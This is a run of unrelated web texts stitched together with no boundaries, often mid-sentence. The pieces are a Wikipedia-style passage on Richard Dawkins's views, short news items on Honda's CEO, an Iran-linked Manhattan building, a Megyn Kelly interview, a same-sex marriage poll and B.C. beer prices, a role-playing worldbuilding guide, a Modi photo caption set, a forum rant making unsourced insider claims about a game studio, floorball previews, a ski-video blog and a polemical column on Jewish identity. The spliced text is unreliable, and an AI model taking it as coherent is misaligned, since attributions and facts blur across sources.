In 1986, Dawkins and biologist John Maynard Smith participated in an Oxford Union debate against A. E. Wilder-Smith (a Young Earth creationist) and Edgar Andrews (president of the Biblical Creation Society).[b] In general, however, Dawkins has followed the advice of his late colleague Stephen Jay Gould and refused to participate in formal debates with creationists because "what they seek is the oxygen of respectability", and doing so would "give them this oxygen by the mere act of engaging with them at all". He suggests that creationists "don't mind being beaten in an argument. What matters is that we give them recognition by bothering to argue with them in public." In a December 2004 interview with American journalist Bill Moyers, Dawkins said that "among the things that science does know, evolution is about as certain as anything we know." When Moyers questioned him on the use of the word theory, Dawkins stated that "evolution has been observed. It's just that it hasn't been observed while it's happening." He added that "it is rather like a detective coming on a murder after the scene... the detective hasn't actually seen the murder take place, of course. But what you do see is a massive clue... Huge quantities of circumstantial evidence. It might as well be spelled out in words of English."[140]
Dawkins has opposed the inclusion of intelligent design in science education, describing it as "not a scientific argument at all, but a religious one".[141] He has been referred to in the media as "Darwin's Rottweiler",[142][143] a reference to English biologist T. H. Huxley, who was known as "Darwin's Bulldog" for his advocacy of Charles Darwin's evolutionary ideas. He has been a strong critic of the British organisation Truth in Science, which promotes the teaching of creationism in state schools, and whose work Dawkins has described as an "educational scandal". He plans to subsidise schools through the Richard Dawkins Foundation for Reason and Science with the delivery of books, DVDs, and pamphlets that counteract their work.[144]
Political views Edit
Dawkins discusses free speech and Islam(ism) at the 2017 Conference on Free Expression and Conscience
Dawkins is an outspoken atheist[145] and a supporter of various atheist, secular, and humanistic organisations,[40][146][147][148][149][150][151] including Humanists UK and the Brights movement.[113] Dawkins suggests that atheists should be proud, not apologetic, stressing that atheism is evidence of a healthy, independent mind. He hopes that the more atheists identify themselves, the more the public will become aware of just how many people are nonbelievers, thereby reducing the negative opinion of atheism among the religious majority.[153] Inspired by the gay rights movement, he endorsed the Out Campaign to encourage atheists worldwide to declare their stance publicly.[154] He supported the UK's first atheist advertising initiative, the Atheist Bus Campaign in 2008, which aimed to raise funds to place atheist advertisements on buses in the London area.
Dawkins has expressed concern about the growth of human population and about the matter of overpopulation.[155] In The Selfish Gene, he briefly mentions population growth, giving the example of Latin America, whose population, at the time the book was written, was doubling every 40 years. He is critical of Roman Catholic attitudes to family planning and population control, stating that leaders who forbid contraception and "express a preference for 'natural' methods of population limitation" will get just such a method in the form of starvation.
As a supporter of the Great Ape Project—a movement to extend certain moral and legal rights to all great apes—Dawkins contributed the article 'Gaps in the Mind' to the Great Ape Project book edited by Paola Cavalieri and Peter Singer. In this essay, he criticises contemporary society's moral attitudes as being based on a "discontinuous, speciesist imperative".[157]
Dawkins also regularly comments in newspapers and blogs on contemporary political questions and is a frequent contributor to the online science and culture digest 3 Quarks Daily.[158] His opinions include opposition to the 2003 invasion of Iraq,[159] the British nuclear deterrent, the actions of then-US President George W. Bush,[160] and the ethics of designer babies.[161] Several such articles were included in A Devil's Chaplain, an anthology of writings about science, religion, and politics. He is also a supporter of Republic's campaign to replace the British monarchy with a democratically elected president.[162] Dawkins has described himself as a Labour voter in the 1970s[163] and voter for the Liberal Democrats since the party's creation. In 2009, he spoke at the party's conference in opposition to blasphemy laws, alternative medicine, and faith schools. In the UK general election of 2010, Dawkins officially endorsed the Liberal Democrats, in support of their campaign for electoral reform and for their "refusal to pander to 'faith'".[164] In the run up to the 2017 General Election, Dawkins once again endorsed the Liberal Democrats and urged voters to join the party.
In 1998, Dawkins expressed his appreciation for two books connected with the Sokal affair, Higher Superstition: The Academic Left and Its Quarrels with Science by Paul R. Gross and Norman Levitt and Intellectual Impostures by Sokal and Jean Bricmont. These books are famous for their criticism of postmodernism in US universities (namely in the departments of literary studies, anthropology, and other cultural studies).[165]
Dawkins has voiced his support for the Campaign for the Establishment of a United Nations Parliamentary Assembly, an organisation that campaigns for democratic reform in the United Nations, and the creation of a more accountable international political system.[166]
Dawkins identifies as a feminist.[167] Dawkins has said that feminism is "enormously important" and "a political movement that deserves to be supported".[168]
Other fields Edit
In his role as professor for public understanding of science, Dawkins has been a critic of pseudoscience and alternative medicine. His 1998 book Unweaving the Rainbow considers John Keats's accusation that by explaining the rainbow, Isaac Newton diminished its beauty; Dawkins argues for the opposite conclusion. He suggests that deep space, the billions of years of life's evolution, and the microscopic workings of biology and heredity contain more beauty and wonder than do "myths" and "pseudoscience".[169] For John Diamond's posthumously published Snake Oil, a book devoted to debunking alternative medicine, Dawkins wrote a foreword in which he asserts that alternative medicine is harmful, if only because it distracts patients from more successful conventional treatments and gives people false hopes.[170] Dawkins states that "There is no alternative medicine. There is only medicine that works and medicine that doesn't work." In his 2007 Channel 4 TV film The Enemies of Reason, Dawkins concluded that Britain is gripped by "an epidemic of superstitious thinking".[172]
Continuing a long-standing partnership with Channel 4, Dawkins participated in a five-part television series, Genius of Britain, along with fellow scientists Stephen Hawking, James Dyson, Paul Nurse, and Jim Al-Khalili. The series was first broadcast in June 2010, and focuses on major, British, scientific achievements throughout history.[173]
In 2014 he joined the global awareness movement Asteroid Day as a "100x Signatory".[174]
Jayce Lewis alongside Richard Dawkins at the Home of Dawkins working together on Jayce's album Million (Part 2)
Dawkins worked alongside Welsh Musician Jayce Lewis contributing a recorded spoken word for the track 'Exhale' from his 1998 book Unweaving the Rainbow to the Welshman's 3rd full-length album 'Million'.View 6 Photos
You'd think Takahiro Hachigo, the CEO of a major automaker, would have his own car. But he doesn't, and Honda's top executive says he will remain without one until the Civic Type R arrives.
"Unfortunately, I don't have a car now. But I want to buy the Civic Type R," Hachigo said, reports Automotive News. "I will wait," he also said.
Hachigo, who has been at Honda for over 30 years, took over as the company's president and CEO after Takanobu Ito stepped down. He assumed his current role in late June and only recently moved back to Japan after living overseas.
"I joined Honda because I loved cars and driving," said Hachigo, who developed his passion behind the wheel of his family's Celica. The first car he bought after joining Honda was a three-door Wonder Civic. Later, he transitioned over to an Accord and then an Odyssey minivan for family needs.
One of his major goals as CEO is to reinvigorate Honda's reputation as a maker of innovative and fun cars. Along with the Civic Type R, the other car he is most excited about is the S660, an turbocharged roadster available in Japan.Court OKs Forfeiture Of New York Building With Ties To Iran
Enlarge this image toggle caption Don Emmert /AFP/Getty Images Don Emmert /AFP/Getty Images
A decision by a federal judge paves the way for the forfeiture of a 36-story Manhattan building that the U.S. alleges is secretly owned and controlled by the government of Iran.
The court agreed with the United States Attorney for the Southern District of New York that the owners are a front for the Iranian government and therefore in violation of the International Emergency Economic Powers Act, which restricts commerce with Iran.
In a press release, the Manhattan U.S. attorney said this would be the "largest-ever terrorism-related forfeiture," which would provide a "means of compensating victims of Iranian-sponsored terrorism."
The Wall Street Journal reports:
"The ruling by U.S. District Judge Katherine B. Forrest granted summary judgment in favor of the U.S. government's claims for the forfeiture of 650 Fifth Ave. The building, in a prime commercial section of midtown Manhattan just north of Rockefeller Center, was built in the late 1970s by a foundation set up by the former Shah Reza Pahlavi of Iran. The building has been long known as the Piaget building.... "A representative for the Alavi Foundation said the group plans to appeal the court's decision once final judgment is entered. 'We are obviously disappointed with the district court's decision granting partial summary judgment against the Alavi Foundation,' the representative said. 'We have reviewed the decision and disagree with the court's analysis of the facts and the law. The foundation was ready for trial and is disappointed that it did not have the opportunity to rebut the government evidence before a jury.' "A summary judgment disposes of a case without trial. It is used when there is no dispute on the material facts of a case and a party is entitled to judgment."
The case goes back to late 2008. NPR's Mike Shuster reported on case back in 2009.Written by Michael Beck, with contributions and editing by Da’Vane.
GM’s Toolbox, looks at tools, tips, and techniques you can use to improve your games. Toolbox offers you a skeleton for running a campaign, rather than fleshed out tips. This series is presented in a discussion style, and we ask you to contribute with comments about your own tools, tips, and techniques at the end of this post.
World building is an important part of a GM’s role. You can’t play in a vacuum.
In part I, we started with tools for plain geographic designs (from planets to buildings) with which to populate your campaign world.
In this part, we go into tools for large scale social structures all the way down to small scale social structures (from relations between nations to guilds and other local organizations, as well as details on cities and the people within).
In part III next week, we follow a similar way for tools used for passing on the history of the world (from legends and myths to the last-spoken gossip, as well as how to create and place items and dungeons related to these tales).
International Relations
You probably have some nations or similar political entities in your campaign world. There are several kinds of relationships between these nations, ranging from total war to cooperative peace.
There could even be the absence of any relationship at all, if both nations don’t know each other.
An international relation tool should provide:
The relationship between any two nations
Alliances and pacts between two or more nations against one, some, or all other nations
Some historical background to explain the relationships
Michael: I handle whole nations pretty much like they are single NPCs. A simple relationship map suffices for me, with encircled names and arrows between them, where different arrow-tips encode the relationship. I can write further information under the arrows, like the historical reason for that relationship.
Da’ Vane: You should pay particular attention to things like trade agreements and military pacts, as these usually have a lasting impact on national relations, and will often provide plot hooks in a dynamic political climate.
Tensions can flare when long-standing trade agreements, particularly for critical supplies, become disrupted for whatever reason.
Likewise, military pacts can quickly draw multiple nations into a conflict, turning a simple skirmish into a worldwide war. Because of this, nations often employ spies, privateers, mercenaries, and adventurers to do things so that they can avoid sparking international incidents.
Johnn: Some books you might consider for realm management are:
Aria Worlds
Gary Gygax’s World Builder
Gary Gygax’s Nation Builder
Reign
Birthright Campaign Setting
A Magical Medieval Society: Western Europe
Empire
I also find it helpful to consider nations as NPCs, like Michael does. Give your political entities personalities, goals, weaknesses, resources, quirks and secrets.
National Relations
If you are having some form of nation in your campaign, sooner or later you (or your players) will ask about who’s got the power in that country. Who is in control of that piece of land and what’s the reason for that?
Your tool to answer these questions should also answer the following questions:
Who else wants to hold the power in the land
How obvious are the factions battling for power
Is the power split between different groups, and if so, who are these groups, and what share of power do they each possess
What would happen if this authority breaks down
Michael: Here I rely heavily on my newspaper-technique. Every news item gets its own article in plain text, which is roughly about one page describing the different struggles for power and its combatants.
Da’ Vane: You might want to pay some attention to how power is maintained within the nation as well. A theocracy, who uses the power of faith and divine magic, would rule very differently from one who rules through military might.
A democracy would have a very different method from a plutocracy, where bribery and corruption aren’t just tolerated, but actively encouraged.
The differences can also lead to interesting plot hooks in their own right – a paramilitary organization might be organizing a coup to overthrow the undead monarch, while anarchists might target all forms of government indiscriminately, inadvertently putting themselves in power should they succeed.
Johnn: Check out the very details City Government Power Bases series at Campaign Mastery for inspiration on internal politics.
Guilds, Brotherhoods and Other Organizations
Guilds are important organizations in a lot of fantasy settings. A tool to construct an organization should provide:
The internal structure of the organization
Who has the power of the organization
How the organization sets its goal
The material, manpower, knowledge and influential, resources of the organization
The goals of the organization
The relationship to other organizations
Remember that evil also organizes sometimes, and these are also organizations in the above sense.
Michael: I haven’t found a nice tool for this question yet. Nevertheless, the Roleplaying Tips article Hierarchy of Evil seems to be quite applicable, even for non-evil organizations. I will have to check that article out.
Da’ Vane: A good set of tools for defining organizations, especially evil organizations, can be found within the Spycraft roleplaying game, by Crafty Games. Originally d20, it is easily convertible, but most of the information it provides is generalized enough that it can be used for practically any purpose.
I own all the classic Spycraft rulebooks, and the sheer amount of tools for creating organizations in Agency and Mastermind make these my go to products of choice, but you can find enough tools in all the Spycraft lines to make them worthy of a mention. I have not tried Fantasycraft or Mastercraft, but they’re extremely high on my list of systems to pick up!
City Building
Most roleplaying groups come to a city sooner or later. Your entire campaign may even take place in just one city, with the PCs rarely venturing beyond its walls for long periods.
Having a good idea of what is where in your city, and what kind of infrastructure is available is crucial for this kind of adventure. The city-building tool should provide you with this information.
Michael: For building cities in my D&D-campaign, I’ve found another article, again from Campaign Mastery, quite useful: Pillars of Architecture. I combine that article with this great list of city places.
In my Savage Worlds campaign, I rely on the rulebook. |
't been afraid to try out different headgear at each rally, from pagodas to traditional Rajasthani turbans and even the more fancier stuff. A combination of pictures showing Modi in various avatars. (Images from AP, PTI) As BJP's Prime Ministerial candiate, Narendra Modi has been hitting the rallies hard. And the...
2/9 Narendra Modi addresses a gathering at a public rally in Pasighat, Arunachal Pradesh. He's wearing a traditional dumluk which the headgear of the Adi tribe. AP Narendra Modi addresses a gathering at a public rally in Pasighat, Arunachal Pradesh. He's...
3/9 Narendra Modi during a joint rally of SAD and BJP in Jagraon, Punjab on Sunday, wearing a pagadi. PTI Narendra Modi during a joint rally of SAD and BJP in Jagraon, Punjab on Sunday, wearing a pagadi....
4/9 BJP Prime Ministerial candidate Narendra Modi addressing “Barak Bikash Samabesh” rally at Ramnagar in Silchar, Assam on Saturday. He's wearing a traditional Koyet turban in this picture. PTI BJP Prime Ministerial candidate Narendra Modi addressing “Barak Bikash Samabesh” rally at...
5/9 Narendra Modi waves at crowd at a public meeting in Imphal. Narendra Modi, wearing Assamese japi' waves at the crowd during the “Mahajagaran Rally” in Guwahati. PTI Narendra Modi waves at crowd at a public meeting in Imphal. Narendra Modi, wearing Assamese...
6/9 Gujarat Chief Minister and BJP's PM candidate Narendra Modi wears a traditional Gujarati turban at a stall during inauguration of five-day long handicraft exhibition in Ahmedabad on Friday. PTI Gujarat Chief Minister and BJP's PM candidate Narendra Modi wears a traditional Gujarati turban...
7/9 BJP Prime Ministerial Candidate and Gujarat CM Narendra Modi addresses a rally in Davangere, Kartanaka on Tuesday. PTI BJP Prime Ministerial Candidate and Gujarat CM Narendra Modi addresses a rally in Davangere,...
8/9 (L) Narendra Modi, raises a sword at a Bharatiya Janata Party (BJP) rally at Rewari, in Haryana. (R) Narendra Modi being felicitated by party's workers at “Bharatha Gellisi” rally in Mangalore, Karnataka. PTI (L) Narendra Modi, raises a sword at a Bharatiya Janata Party (BJP) rally at Rewari, in Haryana....Megyn Kelly, Kellyanne Conway -- (Fox screen grab)
Donald Trump campaign spokeswoman Kellyanne Conway walked into a buzzsaw Wednesday night on the normally welcome Fox News network, only to have Megyn Kelly blitz her with a rundown on Trump’s lifelong history of demeaning and smearing women.
As Conway attempted to reframe Monday night’s debate, the Fox News host cut her off and took issue when the Trump campaign manager complained about Clinton running “not nice” ads against Trump.
“Kellyanne, come on,” Kelly said to her as she were a child. “It’s not nice? They are running for president! Of course she going to hit him with negative ads. The ads that she is running about him, when it comes to his comments about women, use his words, Kellyanne.”
When Conway tried to change the subject and ask why Clinton wasn’t running ads detailing her vision instead of picking on Trump, the Fox host jumped all over her.
“Because there are two facets of a campaign!” Kelly shot back. “You know that better than anybody. You hit your opponent and disqualify him or her and then you sell your own vision. I mean, she’s allowed to hit him with negative ads and he should be hitting her right back, should he not?”
The Fox host also smacked down Conway’s assertion that Trump has made a “few comments about women over the years.”
“You know that’s not true,” Kelly lectured her. “You know he has repeatedly made comments about women. About their looks, about their size, their weight. Even in this campaign, about Carly Fiorina’s face, retweeting a negative picture about Heidi Cruz’s face, criticizing Hillary Clinton and her ‘look.’ And, Kellyanne, this is an issue for him.”
Watch the video below via Mediaite on YouTube:Not writing anything now will give the Shitizens ammunition to say you actually don't have anything - as they of course knew - and you're writing in hindsight and therefore all is worthless and, well everYthing basicallY is hYperbole with You.
Couldn't you just give us something? The main headlines, preferrably a little longer than a tweet. Something big that they can't deny afterwards. The suspense is killing me Please? Pretty please?
Oh, that 30 - 45 days, I'm guessing you're pretty sure about that to make a statement like that. Won't a supersale at Games Com spoil that prediction?
I don't know what they're going on about tbh. It's as if they rely on me to give them insider news on a game they blew $156M on. Fact is, most of the stuff I say, tends to pan out at some point. The blog I wrote was to be published tomorrow, but that changed when they decided to do their presentation on Friday instead I already made clear, almost a year ago, that 3.0 wasn't ready, and didn't actually "exist". That's not even the half of it.When the schedules kept slipping, sources told me there was an internal dev one that's not reflective of the public one, and that they were just making shit up, I told everyone to wait and see what comes next. Some just hand waved it away. Then CIG released a new schedule. Added a bunch of never-before-seen crap to it. Then removed the delivery aim dates completely. The reasons are now painfully obvious.Theproject is in chaos, and there are several people leaving, even as I type this. And they areof money in terms of the project being a "Going Concern".Quite a few things will put some key sources at risk, but now that they're all talking (some to media), it's only a matter of time now before stuff starts getting out, as it always does.I canthat nobody is prepared for what's really about to happen. You can bookmark this post.In round 21 of the SSL all teams have to play. This will be a busy weekend!
Highlighted games
IBF Falun – Warberg IC (Saturday 14 January, 17.00)
Competition leader Falun faces Warberg. Last time they battled each other, Falun won 8-5. Warberg is now at 13th place, while Falun is doing great at the top. We expect to see a bigger victory this time!
Storvreta IBK – Linköping IBK (Saturday 14 January, 18.00)
Finally Storvreta is back on the rink, after not having played for two rounds. The team has fallen back to 6th place, but a victory would bring them back up a bit. Can the good news about Rudd give them inspiration? Linköping is just one place lower than Storvreta, with the same amount of points. Result of last game? 4-5 in overtime – in Storvreta’s favor.
FC Helsingborg – Karlstad IBF (Sunday 15 January, 16.00)
#4 vs. #12, could this become exciting? One might expect to see a stronger Helsingborg. Last time the teams met Karlstad lost 2-7, and today they could also face a record-breaking Mika Kohonen, as he might cross the 1.000 points line!
OTHER GAMES (IN CHRONOLOGICAL ORDER)
Pixbo Wallenstam IBK – AIK IBF (Saturday 14 January, 16.00)
IBK Dalen – Växjö IBK (Sunday 15 January, 16.00)
Höllvikens IBF – Team Thorengruppen SK (Sunday 15 January, 17.00)
Mullsjö AIS – IK Sirius IBK (Sunday 15 January, 18.10)
RANKING
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Join the Floorball Worldwide Facebook GroupParticipants at a rally in the Dallas neighborhood of Oak Lawn on May 9 applaud President Obama's stance on gay marriage. (Brad Loper/AP)
Public opinion continues to shift in favor of same-sex marriage, according to a new Washington Post-ABC News poll, which also finds initial signs that President Obama’s support for the idea may have changed a few minds.
Overall, 53 percent of Americans say gay marriage should be legal, hitting a high mark in support while showing a dramatic turnaround from just six years ago, when just 36 percent thought it should be legal. Thirty-nine percent, a new low, say gay marriage should be illegal.
The poll also finds that 59 percent of African Americans say they support same-sex marriage, up from an average of 41 percent in polls leading up to Obama’s announcement of his new position on the matter. Though statistically significant, it is a tentative result because of the relatively small sample of black voters in the poll.
The poll comes two weeks after Obama unexpectedly endorsed same-sex marriage after a year and a half of “evolving” on the subject. Gay rights groups predicted the president’s announcement would have a far-reaching impact on public opinion, in part because Obama described how he came to his own decision, referring to his gay friends and the influence of his young daughters, Sasha and Malia.
“By speaking in very personal terms about his own journey, the president has helped to build a larger and stronger majority in support of full equality for committed gay and lesbian couples,” said Fred Sainz, a spokesman for the Human Rights Campaign, a gay rights group that supports Obama’s reelection.
Seventy-one percent of Americans have a friend, family member or acquaintance who is gay, according to the Post-ABC survey, compared with 63 percent in 2010 and 59 percent in 1998.
The poll offers some insight into how same-sex marriage might affect voters’ decisions at the ballot box this fall. But the issue remains a significant wild card for the president as he seeks to overcome skepticism about his handling of the economy.
The president’s announcement may prove to be a wash: Most Americans say Obama’s stance on gay marriage will not play a big role in their vote for president. And the number of voters who say it makes them more apt to support Obama’s bid for reelection is roughly the same as the number who say they are now more likely to oppose a second term for him.
Frank Schubert, national political director for the National Organization for Marriage, a prominent group opposed to same-sex marriage, called into question the accuracy of the poll, noting that polls frequently have overestimated support for same-sex unions in advance of votes on state ballot measures.
In all 30 states where voters have been asked to approve or reject same-sex marriage, they have rejected it. In places where it is legal — six states and the District — it was made so by an act of the state legislature or the courts.
Americans divide about evenly — 49 to 46 percent — on whether gay-marriage laws should be made at the state or federal level. Most backers of same-sex marriage support a federal approach, while opponents prefer letting states decide. That is a stark shift from 2004, when a CBS News-New York Times poll found widespread support for federal authority over gay marriage among its opponents, not its supporters.
Schubert was deeply skeptical that support for same-sex marriage was increasing among African Americans.
“There is not a chance in God’s green earth that African Americans support same-sex marriage,” he said, drawing from his experience organizing anti-same-sex marriage campaigns in California, Iowa, Maine and North Carolina. The president’s endorsement has likely “created a lot of angst and conflict in that community, but his opinion of same-sex marriage is not going to be changing the opinion of African Americans in a significant way.”
Polling director Jon Cohen and polling manager Peyton M. Craighill contributed to this report.Craft beer lovers may suffer some sticker shock at B.C. liquor stores this month.
The B.C. Liquor Distribution Branch (LDB) has jacked up the prices on a number of popular B.C. craft beer products.
Want to buy a 650-ml bottle of Driftwood's award-winning Fat Tug IPA? You'll need to shell out nearly eight per cent more than what it cost you before the B.C. government's changes to wholesale liquor pricing.
On April 1, the LDB came up with standard wholesale prices for every product, which was designed to even the playing field for liquor retailers by eliminating a hodgepodge of subsidies given to different sectors of the industry.
In March, less than two weeks before her government brought in the new system, Attorney General Suzanne Anton accused critics of "beer mongering" for suggesting her new pricing formula would result in consumers paying more at the till.
"B.C. Liquor Stores expect no significant change to product pricing on their shelves in April as a result of the move to wholesale pricing," Anton said.
Her prediction, for the most part, has come true.
Although prices have been increased on 87 per cent of the beer products being sold in B.C. Liquor Stories, most of them could be described as nominal - 54 per cent of the increases are less than five per cent.
You'll pay a few more pennies for a 24-pack of Budweiser, $31.79 instead of $31.73, while Molson Canadian, Labatt Blue and Kokanee are mostly unchanged.
The price hikes on B.C. craft beer, however, can indeed be labelled "significant."
B.C. craft brewers Parallel 49, Bomber Brewing, RB, Four Winds and Dead Frog all sell products that were hit with seven-or eight-per-cent price increases on June 1. Gary Lindsay, director of marketing and sales for Driftwood Brewery, saw his entire line of beer get hit with a price hike of at least seven per cent without ever being consulted.
"The government looked at the numbers and thought 'a lot of this craft beer is not very profitable the way we've done things, so we need to increase the margins here,' " said Lindsay. "The increase comes at the cost of the customers. We didn't increase our price and we didn't increase what we get paid by the LDB."
B.C. private liquor stores, which used to receive a 16-percent subsidy on wholesale costs, now pay the same price that B.C. government stores pay.
Ken Beattie, president of the B.C. Craft Brewers Guild, says many of the wholesale prices attached to craft beer rendered them unprofitable for private operators.
"As of April 1, the wholesale price (on B.C. craft beer) was too high and the retail markup too low. What you are seeing now is a correction in craft beer prices to make the markup higher to make it more profitable," said Beattie.
Beattie says his industry is worried higher price points and slimmer profit margins will make it tougher to get their produce inside private liquor stores.
"We can see them not bringing in certain seasonals or certain other beers because private stores have to price them so high that they can't sell. They can't afford to have them sitting on the floor," Beattie said. "The private retailers will eventually view craft beer as not profitable.
"No one is winning - not the breweries, not the retailers and not the customers. Although you could argue that the government is winning a bit more because they have raised the prices."
The B.C. NDP, which provided The Vancouver Sun with a spreadsheet comparing June to March LDB prices, is calling on the government to take a second look at its new wholesale pricing system.
"When they brought in the change they promised beer prices would not go up and now 90 per cent of them have higher prices," said NDP leader John Horgan. “They made a commitment to the people of B.C., and also a commitment to the craft brewers, who they called a cornerstone of the new economy. You don’t assist an industry by adding more cost to their bottom line. They called the new wholesale prices the start of a new era of openness, but they’ve just passed along more costs to the consumer.”
Anton did not respond to a request for comment.
The Ministry of Justice did respond with an emailed statement attributed to Liquor Distribution Branch spokesperson April Kemick:
"Like any retailer, BC Liquor Stores review prices on an ongoing basis to ensure products are priced according to market demand, profitability, changes in supplier prices, etc. In any given month, some prices go up and some go down. Minimal price increases - in the range of 20 to 50 cents - were applied to some beer in June, while in other cases, price promotions were applied, making products less expensive.
BC Liquor Stores have always supported B.C. craft beer and continue to actively explore new ways to increase the profile of B.C. beer in stores, including through displays and in-store signage, marketing, beer tasting events and more. These efforts have helped to contribute to steadily growing sales - in the past two months alone, craft beer sales have grown by approximately 40 per cent in BC Liquor Stores."
sbrown@vancouversun.com
Twitter.com/BrownieScott
Interactive chart by Chad Skelton, Vancouver Sun
Beer prices on the rise
Example of BC Liquor Store craft beer prices (pre-tax)
Nelson Paddywhack IPA 6x355ml cans
March: $10.83; June: $11.79
Bomber Brewing ESB 6x355ml cans
March: $9.88; June: $10.79
Driftwood Fat Tug 650ml bottle
March: $5; June: $5.39
Dead Frog Classic Nut Brown 6x341ml bottles
March: $10.65; June: $11.29
Parallel 49 Gypsy Tears 6x341ml
March: $10.87; June: $11.29
Central City Red Racer Imperial IPA 650ml bottle
March: $5.65; June: $6.29
Four Winds IPA 4x330ml bottles
March: $8.22; June: $8.79
* This story has been corrected to indicate the above price changes were from March to June, and not May to June which appeared in an earlier version of this story.Subject: USC Ski & Snowboard - The Flashback Filmers: Abe Kislevitz, Caleb Farro, Chris Farro, Matt Cook, Tom Wallisch Location: Mammoth, CA & Andes Mountains, Chile
This was a fun video to create – it’s my classic ski video mold where I do some outside of the box intro then proceed to show a bunch of dancing and high fives in the snow. I haven’t really had a chance to put together a big edit like this in a while so it felt good to give some solid effort and time into something. It’s 100% GoPro!
The intro was filmed in Chile this past August when we were down there filming for the HERO3+ shoot. We were strapped for snow for the first couple days – it hadn’t snowed in about 2 weeks and they were having a bad season. Towards the end of our stay we got an epic storm that dumped about 2 feet out in the mountains. That was our first day out on the mountain post-storm and our 2nd run. We knew conditions weren’t super stable but we were taking necessary precautions to be safe about it all.
In a big mountain environment like that you feel pretty useless after you mount up the athletes and they go on their way – almost like you’re taking advantage of the situation because you pretty much just ski down and enjoy it (not a terrible gig). Wanting to make the most of my time there I decided to post up half way down and wait for John Jackson to pass by and get a quick shot. I had talked to our guides and confirmed I was in a decently safe spot, nestled up against a pretty big band of rocks. It’s not even that good of a shot, but I felt like I was doing something to help the cause. I hung out up there for about 15 minutes while John found his line – you’ll see I whistle to myself, talk to the cameras, introduce the location, etc. As I’m talking to myself there was that small sluff slide that went down past from when Lynsey Dyer was testing out her line. My heart started to pound a little but I figured I was in a safe zone if anything were to happen. Backcountry (especially in the Andes) is a whole different beast and I definitely feel very out of my element when there’s serious risks involved. The Andes are known for big mountain slides and precarious situations but we were with a good crew and I had faith in our decisions.
As John passed the entire slope above him and around me gave way. I could hear and feel the crack around me and knew I didn’t have much time before things got sticky. It was only 2 feet of super light snow but it goes fast on a slope that steep. Also there wasn’t much coverage below – we had been out there before the storm and it was mostly rocks on those ridges. As soon as I heard the crack you’ll see I instantly go into react mode trying to back up out of the zone I was in. Quickly the snow below me gave way and it put me on my butt. I started pulling my feet up trying not to get stuck and eventually managed to shuffle left as snow was sliding below me until I was standing on the rocks below. At that point I figured I was alright and sat close against the rocks. Just as I thought I was clear snow started pouring down from above the rocks behind me. It covered me pretty thoroughly as it waterfalled over my head and at that moment I started preparing myself for the unfortunate situation of being buried. In the edit I do some tricky editing but in reality as soon as I saw a clearing from the snow pouring over me I bolted and B-lined down the mountain over the slide and out of the way. No, I wasn’t buried like the video makes it out to be – sorry!
An interesting take away was how long the whole ordeal felt to me. As soon as that initial crack hit, time slowed down and every move I made seemed planned and deliberate. I can remember my order of operations, reactions, and how I felt at each new stage of the slide. When I went back to watch the footage I was astonished that the entire thing was at most 4 seconds. It felt like 2 minutes. It’s that notion of time slowing down that I thought would be cool to convey in the video. I’ve passed out before (not buried in an avalanche – but hitting my head) and you go into a long drawn out state of dreaming for what seems like minutes or hours when you’re only out for a couple seconds.
The park skiing was all filmed in Mammoth last season starting in February and going all the way until April with Wallisch. I was pretty busy last year so I didn’t have a ton of days out in Mammoth but we stacked some footage on a few weekends in February. Later, I had taken a week off to go out and try to get some shots for the Wallisch Project (buy it!). We got the worst week possible and it actually rained just about every day. We had one decent day where we experimented with some interesting mount configurations for when the sun came out but it never did. We actually ended up snowboarding together by the end of the week because the weather was so awful! Pretty hilarious!
One thing that’s kind of funny is how many different outfits I wear throughout the video. I must have been experimenting because I’m wearing something different in almost every shot!
This video is mostly POV for once since we were able to use some pretty sweet mounts. A lot of the shots you see are from the GoPro spinny mount that’s made in-house from a carbon fiber pole and a rollerblade wheel. It’s super light and really smooth. This is the same mount Bobby Brown wore for his double cork TV commercial.
The other mount we used a lot of was the Sail Video Systems 3rd Person Mount. We tried every configuration and came up with those epic Wallisch shots by getting it out to the side. You almost can’t even tell where the mount is because you can see his entire body independent of the mount, which is very cool. I shot those shots in 1440 and 960-100 to get his full body in the shot. You can see this one in action and some of the other mounts in this B-Roll video I put together a while ago from the same footage.
On the tech side of things this was edited in Final Cut 7 (I started working on this a lonnnggg time ago, otherwise I would have been in Premiere). After Effects was used for the intro and Resolve 10 for the color! For the After Effects most of it is pretty stock effects, just a lot of things combined. One cool thing that can add a bit of zest is the glass looking effect over some of those shots – That’s just adding an adjustment layer, masking out a triangle and adding the effect “Transform”. Then you get the basic tools like scale and position for the adjustment layer that’ll adjust anything below it. When you duplicate a few of these it starts to multiply and look pretty sweet. On the GoPro side of things I experimented a bit with 720-120 Narrow – those are those super slow motion shots in the middle of the video. I mounted two cameras on the end of my film pole for an entire day and shot both 1080-60W and 720-120N. I was stoked on the results – lots of slashes and beautiful sun shots!
If you have any questions shoot em below!Once upon a time, a Jewish identity was something worth having. Being Jewish was about being part of a community of artists, scientists and philosophers, where an idea was a far greater unit of currency than a dollar.
Places like the Café New York in Budapest were where literature, art and films that fought and pleaded for a better world were born, and they were born of Jews. It is impossible to read Arthur Koestler and Primo Levy, or hear 19th century Klezmer music without feeling both the difficulties of the times and the hope and drive for a better tomorrow.
Youths protest soaring housing prices, Rothschild Blvd., Tel Aviv. Motti Kimchi
That was what being Jewish was about; Tikun Olam - working for a good bigger than the self.
Somewhere, and somehow, it all went wrong though. Jews started to vote Republican (to me, a drop-kickable offence for any self-respecting minority group) and communities fragmented. More types of Judaism cropped up in the space of a week than one could imagine possible; Reform, Liberal, Conservative, Chabad; the list is endless and convoluted.
Social entrepreneurship took a back seat to good-old fiscal entrepreneurship and the features of world Jewry that made it what was began to slip away. Ive spoken to young people that think theyre socially conscious because theyre going to a fundraising dinner for they-dont-know-what-charity, in a dress or suit that cost three times their donation to this mysterious cause. But, hey, its all to find a husband/wife anyway so who cares right?
The almighty dollar replaced the Almighty, and freedom, independence and justice took a back seat to BMWs, eating at the right restaurants and being seen at the right parties. Israel was just a place that you visited to get in touch with your roots, in the same condescendingly dishonest way that black Americans spend two weeks on a beach in Cape Town, sit in Nelson Mandelas old cell for five minutes and go home righteous and educated.
Synagogues lost their young people as membership fees shot through the roof, whilst out-dated Aish Rabbis preached too much dogma and not enough sense because, lets face it, theyre mostly just kids from Brooklyn who went to Yeshiva because it sounded easier than real school, and it was.
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Israel, the bastion of the Jewish people, wasnt doing much better. Socialism and the New Jew had collapsed and Israel was a Start-Up Nation where most people had nothing. The government took $100 a month from people for years, like it was still socialist.
Israelis barely even identified themselves as Jewish anymore, and the identity was dying. Only a few people were left flying the Jewish flag, and this small sample was formed from the worst role-models - those who take satisfaction from the saddest fiction of scriptures written too long ago to be deployed without social modification, who either want women at the back of the bus or land that belongs to someone else.
